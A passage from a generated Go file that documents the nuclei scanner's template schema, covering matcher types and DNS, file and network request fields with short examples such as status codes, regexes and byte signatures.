\"\"\n\tMATCHERSMatcherDoc.Fields[0].Description = \"Type is the type of the matcher.\"\n\tMATCHERSMatcherDoc.Fields[0].Comments[encoder.LineComment] = \"Type is the type of the matcher.\"\n\tMATCHERSMatcherDoc.Fields[1].Name = \"condition\"\n\tMATCHERSMatcherDoc.Fields[1].Type = \"string\"\n\tMATCHERSMatcherDoc.Fields[1].Note = \"\"\n\tMATCHERSMatcherDoc.Fields[1].Description = \"Condition is the optional condition between two matcher variables. By default,\\nthe condition is assumed to be OR.\"\n\tMATCHERSMatcherDoc.Fields[1].Comments[encoder.LineComment] = \"Condition is the optional condition between two matcher variables. By default,\"\n\tMATCHERSMatcherDoc.Fields[1].Values = []string{\n\t\t\"and\",\n\t\t\"or\",\n\t}\n\tMATCHERSMatcherDoc.Fields[2].Name = \"part\"\n\tMATCHERSMatcherDoc.Fields[2].Type = \"string\"\n\tMATCHERSMatcherDoc.Fields[2].Note = \"\"\n\tMATCHERSMatcherDoc.Fields[2].Description = \"Part is the part of the request response to match data from.\\n\\nEach protocol exposes a lot of different parts which are well\\ndocumented in docs for each request type.\"\n\tMATCHERSMatcherDoc.Fields[2].Comments[encoder.LineComment] = \"Part is the part of the request response to match data from.\"\n\n\tMATCHERSMatcherDoc.Fields[2].AddExample(\"\", \"body\")\n\n\tMATCHERSMatcherDoc.Fields[2].AddExample(\"\", \"raw\")\n\tMATCHERSMatcherDoc.Fields[3].Name = \"negative\"\n\tMATCHERSMatcherDoc.Fields[3].Type = \"bool\"\n\tMATCHERSMatcherDoc.Fields[3].Note = \"\"\n\tMATCHERSMatcherDoc.Fields[3].Description = \"Negative specifies if the match should be reversed\\nIt will only match if the condition is not true.\"\n\tMATCHERSMatcherDoc.Fields[3].Comments[encoder.LineComment] = \"Negative specifies if the match should be reversed\"\n\tMATCHERSMatcherDoc.Fields[4].Name = \"name\"\n\tMATCHERSMatcherDoc.Fields[4].Type = \"string\"\n\tMATCHERSMatcherDoc.Fields[4].Note = \"\"\n\tMATCHERSMatcherDoc.Fields[4].Description = \"Name of the matcher. Name should be lowercase and must not contain\\nspaces or underscores (_).\"\n\tMATCHERSMatcherDoc.Fields[4].Comments[encoder.LineComment] = \"Name of the matcher. Name should be lowercase and must not contain\"\n\n\tMATCHERSMatcherDoc.Fields[4].AddExample(\"\", \"cookie-matcher\")\n\tMATCHERSMatcherDoc.Fields[5].Name = \"status\"\n\tMATCHERSMatcherDoc.Fields[5].Type = \"[]int\"\n\tMATCHERSMatcherDoc.Fields[5].Note = \"\"\n\tMATCHERSMatcherDoc.Fields[5].Description = \"Status are the acceptable status codes for the response.\"\n\tMATCHERSMatcherDoc.Fields[5].Comments[encoder.LineComment] = \"Status are the acceptable status codes for the response.\"\n\n\tMATCHERSMatcherDoc.Fields[5].AddExample(\"\", []int{200, 302})\n\tMATCHERSMatcherDoc.Fields[6].Name = \"size\"\n\tMATCHERSMatcherDoc.Fields[6].Type = \"[]int\"\n\tMATCHERSMatcherDoc.Fields[6].Note = \"\"\n\tMATCHERSMatcherDoc.Fields[6].Description = \"Size is the acceptable size for the response\"\n\tMATCHERSMatcherDoc.Fields[6].Comments[encoder.LineComment] = \"Size is the acceptable size for the response\"\n\n\tMATCHERSMatcherDoc.Fields[6].AddExample(\"\", []int{3029, 2042})\n\tMATCHERSMatcherDoc.Fields[7].Name = \"words\"\n\tMATCHERSMatcherDoc.Fields[7].Type = \"[]string\"\n\tMATCHERSMatcherDoc.Fields[7].Note = \"\"\n\tMATCHERSMatcherDoc.Fields[7].Description = \"Words contains word patterns required to be present in the response part.\"\n\tMATCHERSMatcherDoc.Fields[7].Comments[encoder.LineComment] = \"Words contains word patterns required to be present in the response part.\"\n\n\tMATCHERSMatcherDoc.Fields[7].AddExample(\"Match for Outlook mail protection domain\", []string{\"mail.protection.outlook.com\"})\n\n\tMATCHERSMatcherDoc.Fields[7].AddExample(\"Match for application/json in response headers\", []string{\"application/json\"})\n\tMATCHERSMatcherDoc.Fields[8].Name = \"regex\"\n\tMATCHERSMatcherDoc.Fields[8].Type = \"[]string\"\n\tMATCHERSMatcherDoc.Fields[8].Note = \"\"\n\tMATCHERSMatcherDoc.Fields[8].Description = \"Regex contains Regular Expression patterns required to be present in the response part.\"\n\tMATCHERSMatcherDoc.Fields[8].Comments[encoder.LineComment] = \"Regex contains Regular Expression patterns required to be present in the response part.\"\n\n\tMATCHERSMatcherDoc.Fields[8].AddExample(\"Match for Linkerd Service via Regex\", []string{`(?mi)^Via\\\\s*?:.*?linkerd.*$`})\n\n\tMATCHERSMatcherDoc.Fields[8].AddExample(\"Match for Open Redirect via Location header\", []string{`(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\\\-_\\\\.@]*)example\\\\.com.*$`})\n\tMATCHERSMatcherDoc.Fields[9].Name = \"binary\"\n\tMATCHERSMatcherDoc.Fields[9].Type = \"[]string\"\n\tMATCHERSMatcherDoc.Fields[9].Note = \"\"\n\tMATCHERSMatcherDoc.Fields[9].Description = \"Binary are the binary patterns required to be present in the response part.\"\n\tMATCHERSMatcherDoc.Fields[9].Comments[encoder.LineComment] = \"Binary are the binary patterns required to be present in the response part.\"\n\n\tMATCHERSMatcherDoc.Fields[9].AddExample(\"Match for Springboot Heapdump Actuator \\\"JAVA PROFILE\\\", \\\"HPROF\\\", \\\"Gunzip magic byte\\\"\", []string{\"4a4156412050524f46494c45\", \"4850524f46\", \"1f8b080000000000\"})\n\n\tMATCHERSMatcherDoc.Fields[9].AddExample(\"Match for 7zip files\", []string{\"377ABCAF271C\"})\n\tMATCHERSMatcherDoc.Fields[10].Name = \"dsl\"\n\tMATCHERSMatcherDoc.Fields[10].Type = \"[]string\"\n\tMATCHERSMatcherDoc.Fields[10].Note = \"\"\n\tMATCHERSMatcherDoc.Fields[10].Description = \"DSL are the dsl expressions that will be evaluated as part of nuclei matching rules.\\nA list of these helper functions are available [here](https://nuclei.projectdiscovery.io/templating-guide/helper-functions/).\"\n\tMATCHERSMatcherDoc.Fields[10].Comments[encoder.LineComment] = \"DSL are the dsl expressions that will be evaluated as part of nuclei matching rules.\"\n\n\tMATCHERSMatcherDoc.Fields[10].AddExample(\"DSL Matcher for package.json file\", []string{\"contains(body, 'packages') && contains(tolower(all_headers), 'application/octet-stream') && status_code == 200\"})\n\n\tMATCHERSMatcherDoc.Fields[10].AddExample(\"DSL Matcher for missing strict transport security header\", []string{\"!contains(tolower(all_headers), ''strict-transport-security'')\"})\n\tMATCHERSMatcherDoc.Fields[11].Name = \"xpath\"\n\tMATCHERSMatcherDoc.Fields[11].Type = \"[]string\"\n\tMATCHERSMatcherDoc.Fields[11].Note = \"\"\n\tMATCHERSMatcherDoc.Fields[11].Description = \"XPath are the xpath queries expressions that will be evaluated against the response part.\"\n\tMATCHERSMatcherDoc.Fields[11].Comments[encoder.LineComment] = \"XPath are the xpath queries expressions that will be evaluated against the response part.\"\n\n\tMATCHERSMatcherDoc.Fields[11].AddExample(\"XPath Matcher to check a title\", []string{\"/html/head/title[contains(text(), 'How to Find XPath')]\"})\n\n\tMATCHERSMatcherDoc.Fields[11].AddExample(\"XPath Matcher for finding links with target=\\\"_blank\\\"\", []string{\"//a[@target=\\\"_blank\\\"]\"})\n\tMATCHERSMatcherDoc.Fields[12].Name = \"encoding\"\n\tMATCHERSMatcherDoc.Fields[12].Type = \"string\"\n\tMATCHERSMatcherDoc.Fields[12].Note = \"\"\n\tMATCHERSMatcherDoc.Fields[12].Description = \"Encoding specifies the encoding for the words field if any.\"\n\tMATCHERSMatcherDoc.Fields[12].Comments[encoder.LineComment] = \"Encoding specifies the encoding for the words field if any.\"\n\tMATCHERSMatcherDoc.Fields[12].Values = []string{\n\t\t\"hex\",\n\t}\n\tMATCHERSMatcherDoc.Fields[13].Name = \"case-insensitive\"\n\tMATCHERSMatcherDoc.Fields[13].Type = \"bool\"\n\tMATCHERSMatcherDoc.Fields[13].Note = \"\"\n\tMATCHERSMatcherDoc.Fields[13].Description = \"CaseInsensitive enables case-insensitive matches. Default is false.\"\n\tMATCHERSMatcherDoc.Fields[13].Comments[encoder.LineComment] = \"CaseInsensitive enables case-insensitive matches. Default is false.\"\n\tMATCHERSMatcherDoc.Fields[13].Values = []string{\n\t\t\"false\",\n\t\t\"true\",\n\t}\n\tMATCHERSMatcherDoc.Fields[14].Name = \"match-all\"\n\tMATCHERSMatcherDoc.Fields[14].Type = \"bool\"\n\tMATCHERSMatcherDoc.Fields[14].Note = \"\"\n\tMATCHERSMatcherDoc.Fields[14].Description = \"MatchAll enables matching for all matcher values. Default is false.\"\n\tMATCHERSMatcherDoc.Fields[14].Comments[encoder.LineComment] = \"MatchAll enables matching for all matcher values. Default is false.\"\n\tMATCHERSMatcherDoc.Fields[14].Values = []string{\n\t\t\"false\",\n\t\t\"true\",\n\t}\n\tMATCHERSMatcherDoc.Fields[15].Name = \"internal\"\n\tMATCHERSMatcherDoc.Fields[15].Type = \"bool\"\n\tMATCHERSMatcherDoc.Fields[15].Note = \"\"\n\tMATCHERSMatcherDoc.Fields[15].Description = \"description: |\\n  Internal when true hides the matcher from output. Default is false.\\n It is meant to be used in multiprotocol / flow templates to create internal matcher condition without printing it in output.\\n or other similar use cases.\\n values:\\n   - false\\n   - true\"\n\tMATCHERSMatcherDoc.Fields[15].Comments[encoder.LineComment] = \" description: |\"\n\n\tMatcherTypeHolderDoc.Type = \"MatcherTypeHolder\"\n\tMatcherTypeHolderDoc.Comments[encoder.LineComment] = \" MatcherTypeHolder is used to hold internal type of the matcher\"\n\tMatcherTypeHolderDoc.Description = \"MatcherTypeHolder is used to hold internal type of the matcher\"\n\tMatcherTypeHolderDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"matchers.Matcher\",\n\t\t\tFieldName: \"type\",\n\t\t},\n\t}\n\tMatcherTypeHolderDoc.Fields = make([]encoder.Doc, 1)\n\tMatcherTypeHolderDoc.Fields[0].Name = \"\"\n\tMatcherTypeHolderDoc.Fields[0].Type = \"MatcherType\"\n\tMatcherTypeHolderDoc.Fields[0].Note = \"\"\n\tMatcherTypeHolderDoc.Fields[0].Description = \"\"\n\tMatcherTypeHolderDoc.Fields[0].Comments[encoder.LineComment] = \"\"\n\tMatcherTypeHolderDoc.Fields[0].EnumFields = []string{\n\t\t\"word\",\n\t\t\"regex\",\n\t\t\"binary\",\n\t\t\"status\",\n\t\t\"size\",\n\t\t\"dsl\",\n\t\t\"xpath\",\n\t}\n\n\tDNSRequestDoc.Type = \"dns.Request\"\n\tDNSRequestDoc.Comments[encoder.LineComment] = \" Request contains a DNS protocol request to be made from a template\"\n\tDNSRequestDoc.Description = \"Request contains a DNS protocol request to be made from a template\"\n\n\tDNSRequestDoc.AddExample(\"\", exampleNormalDNSRequest)\n\tDNSRequestDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"Template\",\n\t\t\tFieldName: \"dns\",\n\t\t},\n\t}\n\tDNSRequestDoc.PartDefinitions = []encoder.KeyValue{\n\t\t{\n\t\t\tKey:   \"template-id\",\n\t\t\tValue: \"ID of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"template-info\",\n\t\t\tValue: \"Info Block of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"template-path\",\n\t\t\tValue: \"Path of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"host\",\n\t\t\tValue: \"Host is the input to the template\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"matched\",\n\t\t\tValue: \"Matched is the input which was matched upon\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"request\",\n\t\t\tValue: \"Request contains the DNS request in text format\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"type\",\n\t\t\tValue: \"Type is the type of request made\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"rcode\",\n\t\t\tValue: \"Rcode field returned for the DNS request\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"question\",\n\t\t\tValue: \"Question contains the DNS question field\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"extra\",\n\t\t\tValue: \"Extra contains the DNS response extra field\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"answer\",\n\t\t\tValue: \"Answer contains the DNS response answer field\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"ns\",\n\t\t\tValue: \"NS contains the DNS response NS field\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"raw,body,all\",\n\t\t\tValue: \"Raw contains the raw DNS response (default)\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"trace\",\n\t\t\tValue: \"Trace contains trace data for DNS request if enabled\",\n\t\t},\n\t}\n\tDNSRequestDoc.Fields = make([]encoder.Doc, 12)\n\tDNSRequestDoc.Fields[0].Name = \"id\"\n\tDNSRequestDoc.Fields[0].Type = \"string\"\n\tDNSRequestDoc.Fields[0].Note = \"\"\n\tDNSRequestDoc.Fields[0].Description = \"ID is the optional id of the request\"\n\tDNSRequestDoc.Fields[0].Comments[encoder.LineComment] = \" ID is the optional id of the request\"\n\tDNSRequestDoc.Fields[1].Name = \"name\"\n\tDNSRequestDoc.Fields[1].Type = \"string\"\n\tDNSRequestDoc.Fields[1].Note = \"\"\n\tDNSRequestDoc.Fields[1].Description = \"Name is the Hostname to make DNS request for.\\n\\nGenerally, it is set to {{FQDN}} which is the domain we get from input.\"\n\tDNSRequestDoc.Fields[1].Comments[encoder.LineComment] = \"Name is the Hostname to make DNS request for.\"\n\n\tDNSRequestDoc.Fields[1].AddExample(\"\", \"{{FQDN}}\")\n\tDNSRequestDoc.Fields[2].Name = \"type\"\n\tDNSRequestDoc.Fields[2].Type = \"DNSRequestTypeHolder\"\n\tDNSRequestDoc.Fields[2].Note = \"\"\n\tDNSRequestDoc.Fields[2].Description = \"RequestType is the type of DNS request to make.\"\n\tDNSRequestDoc.Fields[2].Comments[encoder.LineComment] = \"RequestType is the type of DNS request to make.\"\n\tDNSRequestDoc.Fields[3].Name = \"class\"\n\tDNSRequestDoc.Fields[3].Type = \"string\"\n\tDNSRequestDoc.Fields[3].Note = \"\"\n\tDNSRequestDoc.Fields[3].Description = \"Class is the class of the DNS request.\\n\\nUsually it's enough to just leave it as INET.\"\n\tDNSRequestDoc.Fields[3].Comments[encoder.LineComment] = \"Class is the class of the DNS request.\"\n\tDNSRequestDoc.Fields[3].Values = []string{\n\t\t\"inet\",\n\t\t\"csnet\",\n\t\t\"chaos\",\n\t\t\"hesiod\",\n\t\t\"none\",\n\t\t\"any\",\n\t}\n\tDNSRequestDoc.Fields[4].Name = \"retries\"\n\tDNSRequestDoc.Fields[4].Type = \"int\"\n\tDNSRequestDoc.Fields[4].Note = \"\"\n\tDNSRequestDoc.Fields[4].Description = \"Retries is the number of retries for the DNS request\"\n\tDNSRequestDoc.Fields[4].Comments[encoder.LineComment] = \"Retries is the number of retries for the DNS request\"\n\n\tDNSRequestDoc.Fields[4].AddExample(\"Use a retry of 3 to 5 generally\", 5)\n\tDNSRequestDoc.Fields[5].Name = \"trace\"\n\tDNSRequestDoc.Fields[5].Type = \"bool\"\n\tDNSRequestDoc.Fields[5].Note = \"\"\n\tDNSRequestDoc.Fields[5].Description = \"Trace performs a trace operation for the target.\"\n\tDNSRequestDoc.Fields[5].Comments[encoder.LineComment] = \"Trace performs a trace operation for the target.\"\n\tDNSRequestDoc.Fields[6].Name = \"trace-max-recursion\"\n\tDNSRequestDoc.Fields[6].Type = \"int\"\n\tDNSRequestDoc.Fields[6].Note = \"\"\n\tDNSRequestDoc.Fields[6].Description = \"TraceMaxRecursion is the number of max recursion allowed for trace operations\"\n\tDNSRequestDoc.Fields[6].Comments[encoder.LineComment] = \"TraceMaxRecursion is the number of max recursion allowed for trace operations\"\n\n\tDNSRequestDoc.Fields[6].AddExample(\"Use a retry of 100 to 150 generally\", 100)\n\tDNSRequestDoc.Fields[7].Name = \"attack\"\n\tDNSRequestDoc.Fields[7].Type = \"generators.AttackTypeHolder\"\n\tDNSRequestDoc.Fields[7].Note = \"\"\n\tDNSRequestDoc.Fields[7].Description = \"Attack is the type of payload combinations to perform.\\n\\nBatteringram is inserts the same payload into all defined payload positions at once, pitchfork combines multiple payload sets and clusterbomb generates\\npermutations and combinations for all payloads.\"\n\tDNSRequestDoc.Fields[7].Comments[encoder.LineComment] = \"Attack is the type of payload combinations to perform.\"\n\tDNSRequestDoc.Fields[8].Name = \"payloads\"\n\tDNSRequestDoc.Fields[8].Type = \"map[string]interface{}\"\n\tDNSRequestDoc.Fields[8].Note = \"\"\n\tDNSRequestDoc.Fields[8].Description = \"Payloads contains any payloads for the current request.\\n\\nPayloads support both key-values combinations where a list\\nof payloads is provided, or optionally a single file can also\\nbe provided as payload which will be read on run-time.\"\n\tDNSRequestDoc.Fields[8].Comments[encoder.LineComment] = \"Payloads contains any payloads for the current request.\"\n\tDNSRequestDoc.Fields[9].Name = \"threads\"\n\tDNSRequestDoc.Fields[9].Type = \"int\"\n\tDNSRequestDoc.Fields[9].Note = \"\"\n\tDNSRequestDoc.Fields[9].Description = \"Threads to use when sending iterating over payloads\"\n\tDNSRequestDoc.Fields[9].Comments[encoder.LineComment] = \"Threads to use when sending iterating over payloads\"\n\n\tDNSRequestDoc.Fields[9].AddExample(\"Send requests using 10 concurrent threads\", 10)\n\tDNSRequestDoc.Fields[10].Name = \"recursion\"\n\tDNSRequestDoc.Fields[10].Type = \"dns.bool\"\n\tDNSRequestDoc.Fields[10].Note = \"\"\n\tDNSRequestDoc.Fields[10].Description = \"Recursion determines if resolver should recurse all records to get fresh results.\"\n\tDNSRequestDoc.Fields[10].Comments[encoder.LineComment] = \"Recursion determines if resolver should recurse all records to get fresh results.\"\n\tDNSRequestDoc.Fields[11].Name = \"resolvers\"\n\tDNSRequestDoc.Fields[11].Type = \"[]string\"\n\tDNSRequestDoc.Fields[11].Note = \"\"\n\tDNSRequestDoc.Fields[11].Description = \"Resolvers to use for the dns requests\"\n\tDNSRequestDoc.Fields[11].Comments[encoder.LineComment] = \" Resolvers to use for the dns requests\"\n\n\tDNSRequestTypeHolderDoc.Type = \"DNSRequestTypeHolder\"\n\tDNSRequestTypeHolderDoc.Comments[encoder.LineComment] = \" DNSRequestTypeHolder is used to hold internal type of the DNS type\"\n\tDNSRequestTypeHolderDoc.Description = \"DNSRequestTypeHolder is used to hold internal type of the DNS type\"\n\tDNSRequestTypeHolderDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"dns.Request\",\n\t\t\tFieldName: \"type\",\n\t\t},\n\t}\n\tDNSRequestTypeHolderDoc.Fields = make([]encoder.Doc, 1)\n\tDNSRequestTypeHolderDoc.Fields[0].Name = \"\"\n\tDNSRequestTypeHolderDoc.Fields[0].Type = \"DNSRequestType\"\n\tDNSRequestTypeHolderDoc.Fields[0].Note = \"\"\n\tDNSRequestTypeHolderDoc.Fields[0].Description = \"\"\n\tDNSRequestTypeHolderDoc.Fields[0].Comments[encoder.LineComment] = \"\"\n\tDNSRequestTypeHolderDoc.Fields[0].EnumFields = []string{\n\t\t\"A\",\n\t\t\"NS\",\n\t\t\"DS\",\n\t\t\"CNAME\",\n\t\t\"SOA\",\n\t\t\"PTR\",\n\t\t\"MX\",\n\t\t\"TXT\",\n\t\t\"AAAA\",\n\t\t\"CAA\",\n\t\t\"TLSA\",\n\t\t\"ANY\",\n\t\t\"SRV\",\n\t}\n\n\tFILERequestDoc.Type = \"file.Request\"\n\tFILERequestDoc.Comments[encoder.LineComment] = \" Request contains a File matching mechanism for local disk operations.\"\n\tFILERequestDoc.Description = \"Request contains a File matching mechanism for local disk operations.\"\n\n\tFILERequestDoc.AddExample(\"\", exampleNormalFileRequest)\n\tFILERequestDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"Template\",\n\t\t\tFieldName: \"file\",\n\t\t},\n\t}\n\tFILERequestDoc.PartDefinitions = []encoder.KeyValue{\n\t\t{\n\t\t\tKey:   \"template-id\",\n\t\t\tValue: \"ID of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"template-info\",\n\t\t\tValue: \"Info Block of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"template-path\",\n\t\t\tValue: \"Path of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"matched\",\n\t\t\tValue: \"Matched is the input which was matched upon\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"path\",\n\t\t\tValue: \"Path is the path of file on local filesystem\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"type\",\n\t\t\tValue: \"Type is the type of request made\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"raw,body,all,data\",\n\t\t\tValue: \"Raw contains the raw file contents\",\n\t\t},\n\t}\n\tFILERequestDoc.Fields = make([]encoder.Doc, 7)\n\tFILERequestDoc.Fields[0].Name = \"extensions\"\n\tFILERequestDoc.Fields[0].Type = \"[]string\"\n\tFILERequestDoc.Fields[0].Note = \"\"\n\tFILERequestDoc.Fields[0].Description = \"Extensions is the list of extensions or mime types to perform matching on.\"\n\tFILERequestDoc.Fields[0].Comments[encoder.LineComment] = \"Extensions is the list of extensions or mime types to perform matching on.\"\n\n\tFILERequestDoc.Fields[0].AddExample(\"\", []string{\".txt\", \".go\", \".json\"})\n\tFILERequestDoc.Fields[1].Name = \"denylist\"\n\tFILERequestDoc.Fields[1].Type = \"[]string\"\n\tFILERequestDoc.Fields[1].Note = \"\"\n\tFILERequestDoc.Fields[1].Description = \"DenyList is the list of file, directories, mime types or extensions to deny during matching.\\n\\nBy default, it contains some non-interesting extensions that are hardcoded\\nin nuclei.\"\n\tFILERequestDoc.Fields[1].Comments[encoder.LineComment] = \"DenyList is the list of file, directories, mime types or extensions to deny during matching.\"\n\n\tFILERequestDoc.Fields[1].AddExample(\"\", []string{\".avi\", \".mov\", \".mp3\"})\n\tFILERequestDoc.Fields[2].Name = \"id\"\n\tFILERequestDoc.Fields[2].Type = \"string\"\n\tFILERequestDoc.Fields[2].Note = \"\"\n\tFILERequestDoc.Fields[2].Description = \"ID is the optional id of the request\"\n\tFILERequestDoc.Fields[2].Comments[encoder.LineComment] = \" ID is the optional id of the request\"\n\tFILERequestDoc.Fields[3].Name = \"max-size\"\n\tFILERequestDoc.Fields[3].Type = \"string\"\n\tFILERequestDoc.Fields[3].Note = \"\"\n\tFILERequestDoc.Fields[3].Description = \"MaxSize is the maximum size of the file to run request on.\\n\\nBy default, nuclei will process 1 GB of content and not go more than that.\\nIt can be set to much lower or higher depending on use.\\nIf set to \\\"no\\\" then all content will be processed\"\n\tFILERequestDoc.Fields[3].Comments[encoder.LineComment] = \"MaxSize is the maximum size of the file to run request on.\"\n\n\tFILERequestDoc.Fields[3].AddExample(\"\", \"5Mb\")\n\tFILERequestDoc.Fields[4].Name = \"archive\"\n\tFILERequestDoc.Fields[4].Type = \"bool\"\n\tFILERequestDoc.Fields[4].Note = \"\"\n\tFILERequestDoc.Fields[4].Description = \"elaborates archives\"\n\tFILERequestDoc.Fields[4].Comments[encoder.LineComment] = \"elaborates archives\"\n\tFILERequestDoc.Fields[5].Name = \"mime-type\"\n\tFILERequestDoc.Fields[5].Type = \"bool\"\n\tFILERequestDoc.Fields[5].Note = \"\"\n\tFILERequestDoc.Fields[5].Description = \"enables mime types check\"\n\tFILERequestDoc.Fields[5].Comments[encoder.LineComment] = \"enables mime types check\"\n\tFILERequestDoc.Fields[6].Name = \"no-recursive\"\n\tFILERequestDoc.Fields[6].Type = \"bool\"\n\tFILERequestDoc.Fields[6].Note = \"\"\n\tFILERequestDoc.Fields[6].Description = \"NoRecursive specifies whether to not do recursive checks if folders are provided.\"\n\tFILERequestDoc.Fields[6].Comments[encoder.LineComment] = \"NoRecursive specifies whether to not do recursive checks if folders are provided.\"\n\n\tNETWORKRequestDoc.Type = \"network.Request\"\n\tNETWORKRequestDoc.Comments[encoder.LineComment] = \" Request contains a Network protocol request to be made from a template\"\n\tNETWORKRequestDoc.Description = \"Request contains a Network protocol request to be made from a template\"\n\n\tNETWORKRequestDoc.AddExample(\"\", exampleNormalNetworkRequest)\n\tNETWORKRequestDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"Template\",\n\t\t\tFieldName: \"network\",\n\t\t},\n\t\t{\n\t\t\tTypeName:  \"Template\",\n\t\t\tFieldName: \"tcp\",\n\t\t},\n\t}\n\tNETWORKRequestDoc.PartDefinitions = []encoder.KeyValue{\n\t\t{\n\t\t\tKey:   \"template-id\",\n\t\t\tValue: \"ID of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"template-info\",\n\t\t\tValue: \"Info Block of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"template-path\",\n\t\t\tValue: \"Path of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"host\",\n\t\t\tValue: \"Host is the input to the template\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"matched\",\n\t\t\tValue: \"Matched is the input which was matched upon\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"type\",\n\t\t\tValue: \"Type is the type of request made\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"request\",\n\t\t\tValue: \"Network request made from the client\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"body,all,data\",\n\t\t\tValue: \"Network response received from server (default)\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"raw\",\n\t\t\tValue: \"Full Network protocol data\",\n\t\t},\n\t}\n\tNETWORKRequestDoc.Fields = make([]encoder.Doc, 11)\n\tNETWORKRequestDoc.Fields[0].Name = \"id\"\n\tNETWORKRequestDoc.Fields[0].Type = \"string\"\n\tNETWORKRequestDoc.Fields[0].Note = \"\"\n\tNETWORKRequestDoc.Fields[0].Description = \"ID is the optional id of the request\"\n\tNETWORKRequestDoc.Fields[0].Comments[encoder.LineComment] = \" ID is the optional id of the request\"\n\tNETWORKRequestDoc.Fields[1].Name = \"host\"\n\tNETWORKRequestDoc.Fields[1].Type = \"[]string\"\n\tNETWORKRequestDoc.Fields[1].Note = \"\"\n\tNETWORKRequestDoc.Fields[1].Description = \"Host to send network requests to.\\n\\nUsually it's set to `{{Hostname}}`. If you want to enable TLS for\\nTCP Connection, you can use `tls://{{Hostname}}`.\"\n\tNETWORKRequestDoc.Fields[1].Comments[encoder.LineComment] = \"Host to send network requests to.\"\n\n\tNETWORKRequestDoc.Fields[1].AddExample(\"\", []string{\"{{Hostname}}\"})\n\tNETWORKRequestDoc.Fields[2].Name = \"attack\"\n\tNETWORKRequestDoc.Fields[2].Type = \"generators.AttackTypeHolder\"\n\tNETWORKRequestDoc.Fields[2].Note = \"\"\n\tNETWORKRequestDoc.Fields[2].Description = \"Attack is the type of payload combinations to perform.\\n\\nBatteringram is inserts the same payload into all defined payload positions at once, pitchfork combines multiple payload sets and clusterbomb generates\\npermutations and combinations for all payloads.\"\n\tNETWORKRequestDoc.Fields[2].Comments[encoder.LineComment] = \"Attack is the type of payload combinations to perform.\"\n\tNETWORKRequestDoc.Fields[3].Name = \"payloads\"\n\tNETWORKRequestDoc.Fields[3].Type = \"map[string]interface{}\"\n\tNETWORKRequestDoc.Fields[3].Note = \"\"\n\tNETWORKRequestDoc.Fields[3].Description = \"Payloads contains any payloads for the current request.\\n\\nPayloads support both key-values combinations where a list\\nof payloads is provided, or optionally a single file can also\\nbe provided as payload which will be read on run-time.\"\n\tNETWORKRequestDoc.Fields[3].Comments[encoder.LineComment] = \"Payloads contains any payloads for the current request.\"\n\tNETWORKRequestDoc.Fields[4].Name = \"threads\"\n\tNETWORKRequestDoc.Fields[4].Type = \"int\"\n\tNETWORKRequestDoc.Fields[4].Note = \"\"\n\tNETWORKRequestDoc.Fields[4].Description = \"Threads specifies number of threads to use sending requests. This enables Connection Pooling.\\n\\nConnection: Close attribute must not be used in request while using threads flag, otherwise\\npooling will fail and engine will continue to close connections after requests.\"\n\tNETWORKRequestDoc.Fields[4].Comments[encoder.LineComment] = \"Threads specifies number of threads to use sending requests. This enables Connection Pooling.\"\n\n\tNETWORKRequestDoc.Fields[4].AddExample(\"Send requests using 10 concurrent threads\", 10)\n\tNETWORKRequestDoc.Fields[5].Name = \"inputs\"\n\tNETWORKRequestDoc.Fields[5].Type = \"[]network.Input\"\n\tNETWORKRequestDoc.Fields[5].Note = \"\"\n\tNETWORKRequestDoc.Fields[5].Description = \"Inputs contains inputs for the network socket\"\n\tNETWORKRequestDoc.Fields[5].Comments[encoder.LineComment] = \"Inputs contains inputs for the network socket\"\n\tNETWORKRequestDoc.Fields[6].Name = \"port\"\n\tNETWORKRequestDoc.Fields[6].Type = \"string\"\n\tNETWORKRequestDoc.Fields[6].Note = \"\"\n\tNETWORKRequestDoc.Fields[6].Description = \"description: |\\n   Port is the port to send network requests to. this acts as default port but is overridden if target/input contains\\n non-http(s) ports like 80,8080,8081 etc\"\n\tNETWORKRequestDoc.Fields[6].Comments[encoder.LineComment] = \" description: |\"\n\tNETWORKRequestDoc.Fields[7].Name = \"exclude-ports\"\n\tNETWORKRequestDoc.Fields[7].Type = \"string\"\n\tNETWORKRequestDoc.Fields[7].Note = \"\"\n\tNETWORKRequestDoc.Fields[7].Description = \"description:\t|\\n\tExcludePorts is the list of ports to exclude from being scanned . It is intended to be used with `Port` field and contains a list of ports which are ignored/skipped\"\n\tNETWORKRequestDoc.Fields[7].Comments[encoder.LineComment] = \" description:\t|\"\n\tNETWORKRequestDoc.Fields[8].Name = \"read-size\"\n\tNETWORKRequestDoc.Fields[8].Type = \"int\"\n\tNETWORKRequestDoc.Fields[8].Note = \"\"\n\tNETWORKRequestDoc.Fields[8].Description = \"ReadSize is the size of response to read at the end\\n\\nDefault value for 